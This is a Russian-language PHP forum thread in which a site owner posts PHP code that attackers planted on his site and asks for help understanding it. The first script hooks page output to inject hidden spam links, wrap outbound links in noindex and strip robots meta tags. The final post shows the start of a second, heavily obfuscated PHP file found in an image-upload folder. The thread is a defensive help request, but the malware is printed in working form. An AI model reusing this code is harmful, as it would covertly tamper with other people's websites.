Форум: Форум PHPФорум ApacheФорум Регулярные ВыраженияФорум MySQLHTML+CSS+JavaScriptФорум FlashРазное
Новые темы: 0000000
Социальная инженерия и социальные хакеры. Авторы: Кузнецов М.В., Симдянов И.В. PHP Puzzles. Авторы: Кузнецов М.В., Симдянов И.В. PHP на примерах (2 издание). Авторы: Кузнецов М.В., Симдянов И.В. C++. Мастер-класс в задачах и примерах. Авторы: Кузнецов М.В., Симдянов И.В. Программирование. Ступени успешной карьеры. Авторы: Кузнецов М.В., Симдянов И.В.
ВСЕ НАШИ КНИГИ
Консультационный центр SoftTime

Форум PHP

Выбрать другой форум

 

Здравствуйте, Посетитель!

вид форума:
Линейный форум Структурный форум

тема: Что делает этот скрипт?
 
 автор: BlueWolf   (25.06.2014 в 21:06)   письмо автору
 
 

Мне на сайт каким то образом закинули скрипт php. Теперь ломаю голову как это им удалось. Знали пароль хостинга, залили при помощи ftp или есть уязвимость на сайте в форме загрузки картинок. Опытные программисты, подскажите что делает вот этот код который мне закинули.
<?php

/** EXECUTION GUARD */
if (!defined('_SM_EX_GUARD'))
/*  Do not add extra identity */
define('_SM_EX_GUARD'true);

/* If _SM_DEBUG is defined and it value set as True, debug information will be shown.
  This one will change debug messages output behavior in a core functions and classes code */
//$_sm_debug = '';
//define('_SM_DEBUG', true);



if (!function_exists('file_put_contents')) {
  function 
file_put_contents($filename$data) {
    
$f = @fopen($filename'wb');
    if (!
is_resource($f))
      return 
false;

    
$bytes fwrite($f$data);
    
fclose($f);

    return 
$bytes;
  }
}

if (!
function_exists('stripos')) {
  function 
stripos($haystack$needle$offset 0) {
    if (
$offset == 0)
      return 
strpos($haystackstristr($haystack$needle));

    return 
strpos(strtolower($haystack), strtolower($needle), $offset);
  }
}

if (!
function_exists('strripos')) {
  function 
strripos($haystack$needle$offset 0) {
    return 
strrpos(strtolower($haystack), strtolower($needle), $offset);
  }
}

function 
_sm_find_html_tag_internal($tag_name, &$html_content$offset)
{
///@todo bug in case of close tag. "</ body>" - is correct tag.
  
$tag_pos              false;
  
$start_pos            false;
  
$end_pos              false;
  
$html_content_length  strlen($html_content);
  
$tag_name_length      strlen($tag_name);

  while(
$offset $html_content_length && ($tag_pos stripos($html_content$tag_name$offset)) !== false) {
    
/*  Searching for start tag pos */
    
$start_pos  false;
    
$end_pos    false;
    
$offset     $tag_pos 1;

    
/*  Lets see whot a shit is left of a tag name */
    
for ($index $tag_pos 1$index >= 0; --$index) {
      switch(
$html_content[$index]) {
        case 
' '/* in tag body */
        
case "\r":
        case 
"\n":
        case 
"\t":
        continue;

        case 
'<'/* we found tag start */
          
$start_pos $index;
        break(
2);

        default: 
/* this is not our tag */
        
continue(3);
      }
    }

    
/* if tag in the begin or in the end of content */
    
if ($start_pos === false || $tag_pos $tag_name_length == $html_content_length)
      return 
false;

    
/*  Lets see what a shit is right of a tag name */
    
$next_char $html_content[$tag_pos $tag_name_length];
    switch (
$next_char) {
      case 
' '/* in tag body */
      
case "\r":
      case 
"\n":
      case 
"\t":
      break;

      case 
'>'/* we found tag finish */
        
$end_pos $tag_pos $tag_name_length;
      break;

      default: 
/* this is not our tag */
        
continue(2);
    }

    break;
  }

  if (
$tag_pos === false || $start_pos === false)
    return 
false;

  if (
$end_pos === false) {
    
/*  Searching for end tag pos */
    
$end_pos strpos($html_content'>'$tag_pos $tag_name_length);
    if (
$end_pos === false)
      return 
false;
  }

  
assert($end_pos $start_pos);
  return array(
$start_pos$end_pos $start_pos 1);
}

function 
_sm_find_html_tag($tag_name, &$html_content$offset$last_occurence false) {
  
$result false;
  
$tag_name_length strlen($tag_name);

  if (
$last_occurence !== false/* search last occurence of tag in the html_content */
    
while (($next_occurence _sm_find_html_tag_internal($tag_name$html_content$offset)) !== false) {
      
$result $next_occurence;
      
$offset $result[0] + $tag_name_length;
    }
  else
    
$result _sm_find_html_tag_internal($tag_name$html_content$offset);

  return 
$result;
}

function 
_sm_find_html_a_tag(&$html_content$html_content_length$offset) {
  while(
$offset $html_content_length && ($href_pos stripos($html_content'href'$offset)) !== false) {
    
$open_tag_pos strrpos($html_content'<', -($html_content_length $href_pos));
    
$close_tag_pos strpos($html_content'>'$href_pos /* strlen('href') */);

    
$body ltrim(substr($html_content$open_tag_pos 1$close_tag_pos $open_tag_pos 1));

    
$offset $close_tag_pos 1;
    if (
strlen($body) < 2)
      continue;

    
/*  If in body of tag we has close or open char */
    
if (strpos($body'>') !== false || strpos($body'<') !== false)
      continue;

    
/*  If it's not a tag */
    
if (($body[0] != 'a' && $body[0] != 'A') || ($body[1] != ' ' && $body[1] != "\t" && $body[1] != "\n" && $body[1] != "\r"))
      continue;

    return array(
$open_tag_pos$close_tag_pos $open_tag_pos 1);
  }

  return 
false;
}

function 
_sm_get_href_value_from_a_tag_body(&$tag_body$tag_body_length) {
  
$href_pos stripos($tag_body'href');
  if (
$href_pos === false)
    return 
false;

  
$start_pos             false;
  
$equal_char_pos        false;
  
$href_quote_char       false;
  
$href_using_quote_char true;

  
$index $href_pos /* strlen('href') */;
  for (; 
$index $tag_body_length; ++$index) {
    switch(
$tag_body[$index]) {
    case 
"\n":
    case 
"\r":
    case 
' ':
    case 
"\t":
      if (
$start_pos !== false && !$href_using_quote_char)    /* end of href value */
        
return substr($tag_body$start_pos$index $start_pos);

      break;

    case 
'=':
      if (
$equal_char_pos === false)    /* href="..?id=.." */
        
$equal_char_pos true;

      break;

    case 
'"':
    case 
"'":
      if (
$equal_char_pos === false)    /* href' || href" */
        
return false;

      if (!
$href_using_quote_char)      /* do not act if we don't use quotation char */
        
break;

      if (
$href_quote_char === false) { /* start of href value */
        /* set quotation char and start pos ONLY if this href using quotations */
        
$href_quote_char $tag_body[$index];
        
$start_pos $index 1;
      }
      elseif (
$tag_body[$index] == $href_quote_char)  /* end of href value */
        
return substr($tag_body$start_pos$index $start_pos);

      break;

    case 
'>':
      if (
$equal_char_pos === false)  /* href > */
        
return false;

      if (!
$href_using_quote_char) {  /* end of href value */
        
if ($start_pos === false)     /* href = > */
          
return false;

        return 
substr($tag_body$start_pos$index $start_pos);
      }

      break;

    default:
      if (
$equal_char_pos === false)   /* href* */
        
return false;

      if (
$href_quote_char === false) {/*  href doesn't using any quotations */
        
$href_using_quote_char false;

        if (
$start_pos === false)
          
$start_pos $index;
      }
    }
  }

  return 
false;
}

function 
_sm_debug($message) { global $_sm_debug; if (defined("_SM_DEBUG") && _SM_DEBUG$_sm_debug .= '[DEBUG] '$message"\n"; }
function 
_sm_assert_callback($file$line$message) { _sm_debug("File: $file. Line: $line. Message: $message"); }

/*  Class section */
class HtmlModifier
{
  var 
$domain;
  var 
$js_path;
  var 
$js_function_name;
  var 
$noindex_links;
  var 
$origin_charset;
  var 
$omit_final_links_block_signaturing;

  function 
HtmlModifier(
    
$domain /* = 'domain.com' */,
    
$js_path /* = '/path/to/javascript.js' */,
    
$js_function_name /* = 'javascript_function_name_' */,
    
$noindex_links /* = false */,
    
$origin_charset)
  {
    
_sm_debug("Working with '$domain'");

    
$this->domain           trim($domain);
    
$this->js_path          $js_path;
    
$this->js_function_name $js_function_name;
    
$this->noindex_links    $noindex_links;
    
$this->origin_charset   $origin_charset;
    
$this->omit_final_links_block_signaturing false;
  }

  
/** @a signatures must be array of one or more elements */
  /* $html_content */ 
function modify_html(
      
$request_url,
      
$html_content,
      
$signatures/* array(new signature, old signature, old signature) like <!-- signature --> */
      
$links /* array('link1', 'link2') */)
  {
    
_sm_debug("Modify '$request_url'");

    if (!
is_array($signatures) || count($signatures) < 1) {
      
_sm_debug("Signature array must contain at least one element as new signature for new block");
      return 
false;
    }

    
/*  Determine and convert html_content to UTF-8 */
    
if ($this->_ensure_charset($html_content) === false)
    {
      
_sm_debug("Can't determine content encoding");
      return 
false;
    }

    
/*  Cleanup html from our code blocks and other dudes dummy code */
    
$this->_cleanup_html($html_content$signatures);

    
/*  Noindex html content */
    
if ($this->noindex_links === true)
      
$this->_noindex_html($html_content);

    
$this->_clean_meta_robots($html_content);
    
//$this->_cleanup_meta_robots($html_content);

    /*  Insert links */
    
$this->_insert_links($html_content$signatures[0], $links);

    return 
$html_content;
  }

  
/*  Return string of whitespaces length of from zero to five chars */
  
function _get_whitespace()
  {
    
$result '';

    
$whitespace = array(' '"\n"/*"\t" not work in obfuscation*/chr(9), ' '' '); /*  Yes, triple spaces */
    
$ws_count rand(05);
    for (
$i 0$i $ws_count; ++$i)
      
$result .= $whitespace[rand(0count($whitespace) - 1)];

    return 
$result;
  }

  function 
_ensure_charset(&$html_content)
  {
    
$charset false;
    
$default_encoding 'UTF-8';

    
$meta $this->_determine_meta_charset_encoding($html_content);

    if (
$meta !== false/* Try to recode */
      
if ($this->_magic_convert_encoding($html_content$meta['charset'], $default_encoding$meta))
      {
        
$charset $meta['charset'];
        
_sm_debug("Converting html content to '$default_encoding' from '".$meta['charset']."' [Meta-tag information]");
      }

    if (
$charset === false/* If we can't recode from meta tag encoding or meta tag were not found */
      
if (function_exists('mb_detect_encoding')) /* try to use mb_detect_encoding */
      
{
        
$charset_detected false;
        if (
$this->origin_charset)
          
$charset_detected $this->origin_charset;
        else
          
$charset_detected mb_detect_encoding($html_content, array('ASCII','UTF-8','ISO-8859-1'));
        if (
$charset_detected && $this->_magic_convert_encoding($html_content$charset_detected$default_encoding$meta))
        {
          
$charset $charset_detected;
          
_sm_debug("Converting html content to '$default_encoding' from '$charset_detected' [mb_detect_encoding information]");
        }
      }

    if (
$charset === false/* If we can't recode using previous methods */
    
{
      
$charset_detected false;
      
$bom substr($html_content03);  // byte order mask
      
if ($bom == "\xEF\xBB\xBF")  // char in hex format (first 3 chars define charset)
        
$charset_detected 'UTF-8';

      
$bom substr($bom02);
      if (
$bom == "\xFF\xFE" || $bom == "\xFE\xFF")
        
$charset_detected 'UTF-16';

      if (
$charset_detected !== false && $this->_magic_convert_encoding($html_content$charset_detected$default_encoding$meta))
      {
        
$charset $charset_detected;
        
_sm_debug("Converting html content to '$default_encoding' from '$charset_detected' [BOM information]");
      }
      else
        
_sm_debug("Can't convert html content to '$default_encoding': no information of existent encoding available");
    }

    return 
$charset;
  }

  
// cleanup html from signatures and hidden links
  
function _cleanup_html(&$html_content$signatures)
  {
    
/*  Cleanup html from our code blocks */
    
$our_code_block_found false;
    foreach (
$signatures as $signature)
    {
      
$signature_len strlen($signature);

      
/*  While we can find 2 signatures */
      
while (true)
      {
        
$signature_pos1 strpos($html_content$signature);
        if (
$signature_pos1 === false)
          break;

        
$signature_pos2 strpos($html_content$signature,
          
$signature_pos1 $signature_len);

        if (
$signature_pos2 === false)
          break;

        
$our_code_block_found true;
        
$html_content substr($html_content0$signature_pos1).
          
substr($html_content$signature_pos2 $signature_len);

        
_sm_debug("Cleaning up html content from our code block");
      }
    }

    if (!
$our_code_block_found)
      
_sm_debug("Our code block was not found in html content. Nothing to clean");

    
/*  Cleanup html from other dudes code. This block must containt some count of a-links in it to be replaced */
    
$signatures = array(array('<div style="display:none">''</div>'));
    foreach (
$signatures as $index => $signature)
    {
      
$start_pos strpos($html_content$signature[0]);
      if (
$start_pos === false)
        continue;

      
$end_pos strpos($html_content$signature[1], $start_pos strlen($signature[0]));
      if (
$end_pos === false)
        continue;

      
$block_length $end_pos strlen($signature[1]) - $start_pos;
      
$block substr($html_content$start_pos$block_length);

      
$max_legal_links_count 40;  // @notice why 40?
      
$links_count 0;
      
$offset 0;

      while ((
$a_tag _sm_find_html_a_tag($block$block_length$offset)) !== false)
      {
        
$offset $a_tag[0] + $a_tag[1];
        if (++
$links_count $max_legal_links_count)
          break;
      }

      if (
$links_count $max_legal_links_count)
      {
        
_sm_debug("Found possible other dudes code block but NOT ".
          
"cleaned: internal links count lower than $max_legal_links_count$links_count");

        continue;
      }

      
_sm_debug("Cleaning other dudes code block [$index]");
      
$html_content substr($html_content0$start_pos).substr($html_content$start_pos $block_length);
    }
  }

  function 
_noindex_html(&$html_content)
  {
    
/*  Remove noindex tags */
    
$noindex_removed_count = array(0,0);
    foreach (array(
'noindex''/noindex') as $index => $tag)
    {
      
$offset 0;
      while ((
$tag_info _sm_find_html_tag($tag$html_content$offset)) !== false)
      {
        
$html_content substr($html_content0$tag_info[0]).substr($html_content$tag_info[0] + $tag_info[1]);
        ++
$noindex_removed_count[$index];
        
$offset $tag_info[0];
      }
    }

    if (
$noindex_removed_count[0] + $noindex_removed_count[1] > 0)
      
_sm_debug("Removed ".$noindex_removed_count[0]."/".$noindex_removed_count[1]." noindex blocks");

    
$offset 0;
    
$noindex_insert_count 0;
    
$html_content_length strlen($html_content);
    
$domain str_replace('www.'''$this->domain);

    
/*  We make some test and in result, wrote more fast and specified function for A tag,
        older variant: _sm_find_html_tag('a', $html_content, $offset) */
    
while (($tag_info _sm_find_html_a_tag($html_content$html_content_length$offset)) !== false)
    {
      
$offset $tag_info[0] + $tag_info[1] + 1;
      
$a_body substr($html_content$tag_info[0], $tag_info[1]);
      
$a_href _sm_get_href_value_from_a_tag_body($a_body$tag_info[1]);

      
/*  Search for ://$domain/ or ://www.domain/ in <a> body */
      
if (strpos($a_href'://') === false || stripos($a_href"://$domain/") !== false || stripos($a_href"://www.$domain/") !== false)
        continue;

      
/*  Lets try to find /a tag */
      
$closed_tag_info _sm_find_html_tag('/a'$html_content$offset);

      if (
$closed_tag_info !== false)
      {
        
/* check if this closed_tag relate to the tag_info */
        
$tmp_tag_info _sm_find_html_a_tag($html_content$html_content_length$offset);
        if (
$tmp_tag_info !== false && $tmp_tag_info[0] < $closed_tag_info[0])
          
$closed_tag_info false;
      }

      if (
$closed_tag_info !== false)
      {
        
$html_content substr($html_content0$tag_info[0]).'<noindex>'.
          
substr($html_content$tag_info[0], $closed_tag_info[0] - $tag_info[0] + $closed_tag_info[1]).
          
'</noindex>'.substr($html_content$closed_tag_info[0] + $closed_tag_info[1]);

        ++
$noindex_insert_count;
        
$offset $closed_tag_info[0] + $closed_tag_info[1];
      }
      else
      {
        
$html_content substr($html_content0$tag_info[0]).'<noindex>'.
          
substr($html_content$tag_info[0], $tag_info[1]).'</noindex>'.
          
substr($html_content$tag_info[0] + $tag_info[1]);

        ++
$noindex_insert_count;
        
$offset += /* strlen('<noindex>') */;
      }

      
/* Recalculate length because we change it */
      
$html_content_length strlen($html_content);
    }

    if (
$noindex_insert_count)
      
_sm_debug("Totaly noindexed $noindex_insert_count links");
  }


  function 
_clean_meta_robots(&$html_content)
  {
    
$offset 0;
    while ((
$meta_tag _sm_find_html_tag('meta'$html_content$offset)) !== false)
    {
      
$depricated_meta_removed false;
      
$meta_content substr($html_content$meta_tag[0], $meta_tag[1]);

      if (
stripos($meta_content'robots') !== false)
      {
        
$depricated_meta_contents = array('noindex''nofollow''noarchive');
        foreach (
$depricated_meta_contents as $depricated_meta_content)
          if (
stripos($meta_content$depricated_meta_content) !== false)
          {
            
$html_content substr($html_content0$meta_tag[0]).substr($html_content$meta_tag[0] + $meta_tag[1] + 1);
            
$depricated_meta_removed true;
            break;
          }
      }

      
$offset $depricated_meta_removed $meta_tag[0] : $meta_tag[0] + $meta_tag[1];
    }
  }

/*
  // cleanup tags like <meta name="robots" content="noarchive"/> (or content="nofollow" or content=""noindex)
  function _cleanup_meta_robots(&$html_content)
  {
    $tag = 'meta';
    $offset = 0;
    $removed_count = 0;
    $searching_content = array('noindex','nofollow','noarchive');
    while (($tag_info = _sm_find_html_tag($tag, $html_content, $offset)) !== false)
    {    
      $meta_content = substr($html_content, $tag_info[0], $tag_info[1]);
      if (stripos($meta_content, 'robots', 0) !== false)
        foreach ($searching_content as $index => $content)
          if (stripos($meta_content, $content, 0) !== false)
          {
            $html_content = substr($html_content, 0, $tag_info[0]).substr($html_content, $tag_info[0] + $tag_info[1]);
            ++$removed_count;
            $offset = $tag_info[0];
            break;
          }
          else
            $offset = $tag_info[0] + $tag_info[1];
      else
        $offset = $tag_info[0] + $tag_info[1];
    } 
    _sm_debug("Removed $removed_count meta tags.");
  }
*/

  
function _insert_links(&$html_content$signature$links)
  {
    if (!
is_array($links))
      return 
false;

    if (
count($links) == 0)
      return 
true;

    
//_sm_debug("Inserting our links: ".var_export($links, true)); // @TODO couse bug with output buffering - var_export is not availiable

    
$tag _sm_find_html_tag('/body'$html_content0true); /* find last occurrence of </body> */
    
if ($tag === false) { /*  If we can't find </body> */
      // <body> can be expected if html page constructed on tables
      
$tag _sm_find_html_tag('/tbody'$html_content0true); /* find last occurrence of </tbody> */
      
if ($tag === false) { /*  If we can't find </tbody> */
        
if (($ssi strripos($html_content'<!--#include')) !== false/* find last occurrence of ssi construction */
          
$tag = array($ssi0);
        else
        {
          
$tag _sm_find_html_tag('/html'$html_content0true); /* find last occurrence of </html> */
          
if ($tag === false)
            
$tag = array(strlen($html_content), 0);  /* store links at the end of file */
        
}
      }
    }

    
$pre_block  '';
    
$post_block '';

    
/*  Search for FRAMESET */
    
$frameset_tag _sm_find_html_tag('frameset'$html_content0);
    if (
$frameset_tag !== false) {
      
$tag _sm_find_html_tag('/noframes'$html_content0);
      if (
$tag === false) {
        
$pre_block '<NOFRAMES>';
        
$post_block '</NOFRAMES>';

        
/*  Store after <frameset> */
        
$tag = array($frameset_tag[0] + $frameset_tag[1], 0);
      }
      else {
        
$end_body_tag _sm_find_html_tag('/body'$html_content0);///@todo ask if this correct in case of multiple /body tags?
        
if ($end_body_tag !== false && $end_body_tag[0] < $tag[0]) // if we have </body> before </noframes>
          
$tag $end_body_tag;
      }
    }
    else {
      
/* Location optimization */
      
$locations = array(
        
'<div id="main-body">'        /* joomla */,
        
'<div id="contentmain">'      /* joomla old */,
        
'<div class="entry-content">' /* wordpress */,
        
'<div class="content">'       /* wonderful samopis */,
        
'<div id="content">',

        
'<!-- VK Widget -->'          /* before VK widget block */,
        
'<div class="yashare'         /* before YandexShare bar */,
        
'<!--LiveInternet counter-->' /* before LiveInternet counter */,
        
'<!-- content -->'            /* Thanks for a great developers */,
        
'<!--content-->',
        
'<h1 class="contentBoxHeading">' /* ShopOS */,
        
'<div class="cpt_maincontent">'  /* unknown engine */,

        
/* latest */
        
'<h1>');

      foreach (
$locations as $location) {
        
$location_pos strpos($html_content$location);
        if (
$location_pos !== false) {
          
$tag = array($location_posstrlen($location));
          break;
        }
      }
    }

    
$links_string implode($links);
    
$css_id chr(rand(97122)).substr(md5($links_string.time()), 5rand(031));
    
$use_external_js_hidden_code = !empty($this->js_path) && !empty($this->js_function_name);

    
$code $this->_get_whitespace().
      (
$use_external_js_hidden_code
        
"<div id='$css_id'>" 
        
"<div id='$css_id' style='font-size:10px;text-align:center'>").
      
$this->_get_whitespace().$links_string.$this->_get_whitespace().
      
"</div>".$this->_get_whitespace().
      (
$use_external_js_hidden_code
        
"<script src='".$this->js_path."'></script>".$this->_get_whitespace().
          
"<script>".$this->_get_whitespace().$this->js_function_name."('$css_id')".
          
$this->_get_whitespace().'</script>'.$this->_get_whitespace()
        : 
"<script>".$this->_get_whitespace()."document.body.appendChild(".$this->_get_whitespace().
          
"document.getElementById".$this->_get_whitespace()."('$css_id')".$this->_get_whitespace().")".
          
$this->_get_whitespace()."</script>".$this->_get_whitespace());

    if (
$this->omit_final_links_block_signaturing)
      
$signature '';

    
$html_content substr($html_content0$tag[0]).$signature.$pre_block.$code.$post_block.$signature.substr($html_content$tag[0]);
  }

  
/*  Private methods call by another private methods only */
  
function _determine_meta_charset_encoding(&$html_content) {
    
$meta_tag _sm_find_html_tag('meta'$html_content0);
    if (
$meta_tag === false)
      return 
false;

    do {
      
$meta_content substr($html_content$meta_tag[0], $meta_tag[1]);
      
$charset_pos  stripos($meta_content'charset');

      if (
$charset_pos !== false) {
        
$meta_part substr($meta_content$charset_pos /* strlen('charset') + 1 */);
        
$charset ltrim($meta_part"='\" \t\n");
        
$end_pos strpos($charset' ');

        if (
$end_pos !== false)
          
$charset substr($charset0$end_pos);

        
$charset rtrim($charset" >'\"\t\n/");

        return array(
'charset' => $charset$meta_tag[0], $meta_tag[1]);
      }

      
/*  Find new meta tag */
      
$meta_tag _sm_find_html_tag('meta'$html_content$meta_tag[0] + $meta_tag[1]);
    } while(
$meta_tag !== false);

    return 
false;
  }

  function 
_magic_convert_encoding(&$html_content$encoding_from$encoding_to$encoding_meta_tag_info) {
    
$encoding_from_lower strtolower($encoding_from);
    if (
$encoding_from_lower == strtolower($encoding_to)) { // not need to convert
      
if ($encoding_meta_tag_info === false) { /* Add meta tag if it's not exists */
        
_sm_debug("Add meta content-type tag with encoding charset");
        
$this->_add_meta_content_type($html_content$encoding_to);
      }

      return 
true;
    }

    
_sm_debug("Convert html encoding from '$encoding_from' to '$encoding_to'");

    
$modified_content false;
    if (
$encoding_meta_tag_info !== false/* Replace meta tag encoding if present */
      
$modified_content substr($html_content0$encoding_meta_tag_info[0]).
          
'<meta http-equiv="Content-Type" content="text/html; charset='.$encoding_to.'" />'.
          
substr($html_content$encoding_meta_tag_info[0] + $encoding_meta_tag_info[1]);

    
$iconv_result = @iconv($encoding_from$encoding_to."//IGNORE"$modified_content !== false $modified_content $html_content);
    if (
$iconv_result === false)
      return 
false;

    
$html_content $iconv_result;
    if (
$encoding_from_lower == 'utf-16') {/* For UTF-16 make search twice */
      
$encoding_meta_tag_info $this->_determine_meta_charset_encoding($html_content);
      if (
$encoding_meta_tag_info !== false/* Replace meta tag encoding if present */
        
$html_content substr($html_content0$encoding_meta_tag_info[0]).
          
'<meta http-equiv="Content-Type" content="text/html; charset='.$encoding_to.'" />'.
          
substr($html_content$encoding_meta_tag_info[0] + $encoding_meta_tag_info[1]);
    }

    if (
$encoding_meta_tag_info === false/* Add meta tag if it's not exists */
      
$this->_add_meta_content_type($html_content$encoding_to);

    return 
true;
  }

  function 
_add_meta_content_type(&$html_content$charset) {
    
$interesting_tags = array('/head''body''head''meta');
    
$is_uppercase false;
    
$tag false;

    foreach (
$interesting_tags as $interesting_tag) {
      
$tag _sm_find_html_tag($interesting_tag$html_content0);
      if (
$tag === false)
        continue;

      
$offset 0;
      if (
is_callable('ctype_alpha') && is_callable('ctype_upper'))
        while (
$offset $tag[1]) {
          
$char $html_content[$tag[0] + (++$offset)];
          if (
ctype_alpha($char)) {
            
$is_uppercase ctype_upper($char);
            break;
          }
        }

      if (
$interesting_tag == 'head')
        
$tag[0] += $tag[1]; // set position after the tag

      
break;
    }

    if (
$tag !== false) {
      
$html_content substr($html_content0$tag[0]).(
        (
$is_uppercase)
          ? 
'<META HTTP-EQUIV="Content-Type" CONTENT="text/html; CHARSET='.$charset.'" />'
          
'<meta http-equiv="Content-Type" content="text/html; charset='.$charset.'" />'
          
).substr($html_content$tag[0]);
    }
  }
};




if (!
function_exists('gzdecode')) {
  function 
gzdecode($data) {
    return 
gzinflate(substr($data10, -8)); // @TODO test it
  
}
}

assert_options(ASSERT_ACTIVE1);
assert_options(ASSERT_BAIL1);
assert_options(ASSERT_CALLBACK'_sm_assert_callback');

function 
_sm_shutdown_function($html_content)
{
  
$links_database   unserialize(base64_decode('YTowOnt9'));
  
$host             = empty($_SERVER['HTTP_HOST']) ? $_SERVER['SERVER_NAME'] : $_SERVER['HTTP_HOST'] ;
  
$signatures       = array('<!--'.md5($request_url.rand(010000)).'-->', );
  
$noindex_links    true;
//  $js_path          = '{{JS_PATH}}';
//  $js_function_name = '{{JS_FUNCTION_NAME}}';
  
$origin_charset   '';

  
$request_url getenv("REQUEST_URI");
  
$request_url str_replace('http://'.$host''$request_url);

  
$links = @$links_database[$request_url];
  if (
array_key_exists('*'$links_database))
    
$links is_array($links) ? array_merge($links$links_database['*']) : $links_database['*'];

  
$headers headers_list();
  
$decopressed false;
  
$modify_charset_header true;
  foreach (
$headers as $hdr) {
    if (
stripos($hdr'Content-Encoding') !== false && stripos($hdr'gzip') !== false)
      
$decopressed = @gzdecode($html_content);
    if (
stripos($hdr'Content-Type') !== false && stripos($hdr'utf-8') !== false)
      
$modify_charset_header false;
  }

  if (
$modify_charset_header)
    
header('Content-type: text/html; charset=utf-8');

  
$x = new HtmlModifier($host''''$noindex_links$origin_charset);
  
$x->omit_final_links_block_signaturing true;

  
$new_output = ($decopressed)
    ? @
gzencode($x->modify_html($request_url$decopressed$signatures$links))
    : 
$x->modify_html($request_url$html_content$signatures$links);

  return 
$new_output;
}


if (
function_exists('ob_start') && is_callable('ob_start')) {
  
$result ob_start('_sm_shutdown_function'0true);
}

/** end of EXECUTION GUARD */
/*<!--8a788cd74e912e8060f44c5364bc8a13-->*/
?>

  Ответить  
 
 автор: confirm   (26.06.2014 в 06:11)   письмо автору
 
   для: BlueWolf   (25.06.2014 в 21:06)
 

Модифицирует html-вывод.

  Ответить  
 
 автор: BlueWolf   (26.06.2014 в 07:49)   письмо автору
 
   для: confirm   (26.06.2014 в 06:11)
 

Я думаю этот код мне забросили конкуренты чтобы снизить позиции поисковых запросов. Ссылки на сайте закрывались тегом <noindex>.
Вопрос как это им удалось. Пароли от хостинга и ftp я уже поменял. Возможно ли такой файл забросить на сайт, если нет формы загрузки файлов на сайт. Возможно ли закачать файл через форму ввода текста?

  Ответить  
 
 автор: confirm   (26.06.2014 в 08:07)   письмо автору
 
   для: BlueWolf   (26.06.2014 в 07:49)
 

От смены пароля, не удалив загруженного ранее червя, проку не будет.
Загрузить можно и формой, и через sql, а если есть червь, то и им.

  Ответить  
 
 автор: BlueWolf   (26.06.2014 в 09:06)   письмо автору
 
   для: confirm   (26.06.2014 в 08:07)
 

Этот скрипт мог добавить в файл index.php на главной странице сайта строчку @include_once и путь на свой php файл?
В директории где я обнаружил чужой файл, есть страница моего сайта в которой есть фарма ввода текста. Как оказалось входящий $_POST в нём никак не фильтруется. Там было вот так
$god = trim($_POST['god']);
$god = floatval($god);
$realdisk = $god * 1000000000/1024/1024/1024;
echo $realdisk;

Мог ли хакер закинуть свой файл используя это?

  Ответить  
 
 автор: confirm   (26.06.2014 в 09:47)   письмо автору
 
   для: BlueWolf   (26.06.2014 в 09:06)
 

Сам по себе код файла представленного на столько же опасен, как и сказка о Колобке, а вот запущенный в контексте, кем-то, это уже неприятности. Читайте и анализируйте код:

<?
if (!function_exists('file_put_contents')) { 
  function 
file_put_contents($filename$data) { 
    
$f = @fopen($filename'wb'); 
    if (!
is_resource($f)) 
      return 
false

    
$bytes fwrite($f$data);


Но в самом представленном коде нет обращения к записи, это значит, что помимо его есть еще что-то.

Если у вас есть подозрение, что по украденному был произведен вход и что-то залили, то голову червя искать нужно не среди файлов от корня документов, а выше уровнем. Заливать shell в документы нет смысла, его легко обнаружить.

А что будет с данными после floatval($god)? Вот вам и ответ, есть ли в этом опасность. А какие дыры используются в приеме данных форм, sql, для заливки, это поищите в сети, это обширный материал, который хотя бы в общем надо знать.

  Ответить  
 
 автор: BlueWolf   (26.06.2014 в 11:22)   письмо автору
 
   для: confirm   (26.06.2014 в 09:47)
 

Обнаружил ещё один файл subnamed639.php
Его умудрились залить в папку заливки картинок для статьи. Этот код как то связан с предыдущим?
<?php 
$Misimages_4 
'';

$imclos_6 'Qah9eca09U6s428BU5EiY_bZhdlo6Ns'
$PXk45BAp = array(221114101221254527254);

foreach (
$PXk45BAp as $Subposist)
  
$Misimages_4 .= $imclos_6[$Subposist];
$install = array(chr(77).'T'.chr(65).chr(51)."ND".'g0'."Nj".'c=','NDc4'.'Nz'.chr(89)."0"."MTg1ND".chr(73).'5MjM'.chr(61),"ob_".'end'."_clea"."n");
 
$Nonproced72 = array('ob'."_"."ge".'t_content'.'s','ob_st'.chr(97)."rt","NjczO".'Tkw'.'ND'.chr(107)."x".'NT'."EwMQ".'==','O'.chr(68).'E4'.chr(77).'TY0MTc'.'2MD'.chr(103)."2Mw="."=");
$Postprocies = array('d'.chr(71).'1wX2'.chr(53)."h"."bWU=");
 
$Langs = array("U3V".'jX2Nl'.chr(77)."w==",'Q29udGVud'.chr(67).chr(49).'UeXBlO'.'i'.'Bh'."c"."HB".'saWN'.'h'.chr(100).'Glv'."bi9v"."Y3Rl"."d".'C1zdHJlYW0=',"fil".'e_'.'g'."et_content".'s');
$Picting = array('Z'."3p".'kZ'.'WZsY'.chr(88).chr(82).'l','Q'."29udGVud".'C1Ue'.'X'.'Bl'.'O'.'i'."BhcHBs"."aW".'N'.chr(104).'d'.'Glvbi9'."6a".'XA=','Z3'."pkZ".chr(87).chr(90)."s"."Y".chr(88).'Rl',"Q29ud".'GVu'.'d'.chr(67)."1Ue".chr(88).'BlO'.chr(105)."B"."hcH".chr(66).chr(115)."aW"."NhdG".'lvb'.chr(105).chr(57)."4LWd6".'aX'.'A=');
$Mener_75 = array(chr(104)."eader",'Ynpjb'.chr(50)."1w"."cm"."Vzc".chr(119)."==","Ynp".'j'.'b21wc'."mVzcw"."==");$imagents = array("bW"."Vtb".'3'.'J5'.'X2xpbWl0');$premantiones = array('c'."2".'Fm'.'Z'."V9t".'b'."2Rl","b".'WF4X2V4ZWN'.'1dGl'.'v'.'bl90'.chr(97).'W1'.'l');
$Sexss14 = array('gzdefl'.'ate',"se".'t_'."t"."im".'e'.chr(95).'limit',"Z3ppb".chr(109).'ZsYX'.chr(82).'l',chr(89).'npjb2'.'1wc'."mVzcw".chr(61)."=",'ZG'.'V'.chr(109).'Y'.'X'.chr(86).'sdF9zb2Nr'.'ZXR'.chr(102)."dGl".'tZW9'.chr(49).chr(100)."A==",'gzi'.'n'.chr(102)."late",'Ynpj'.chr(98).chr(50).'1w'.'c'.'m'.chr(86)."z".'cw'.chr(61)."=",'Z3pkZ'.chr(87)."Z"."sY".chr(88)."Rl",chr(90).chr(51).'p'.'pb'.'mZs'."YX"."Rl",'Z3'.'pkZ'.chr(87).'ZsYXRl',"bzco".chr(109).'press');
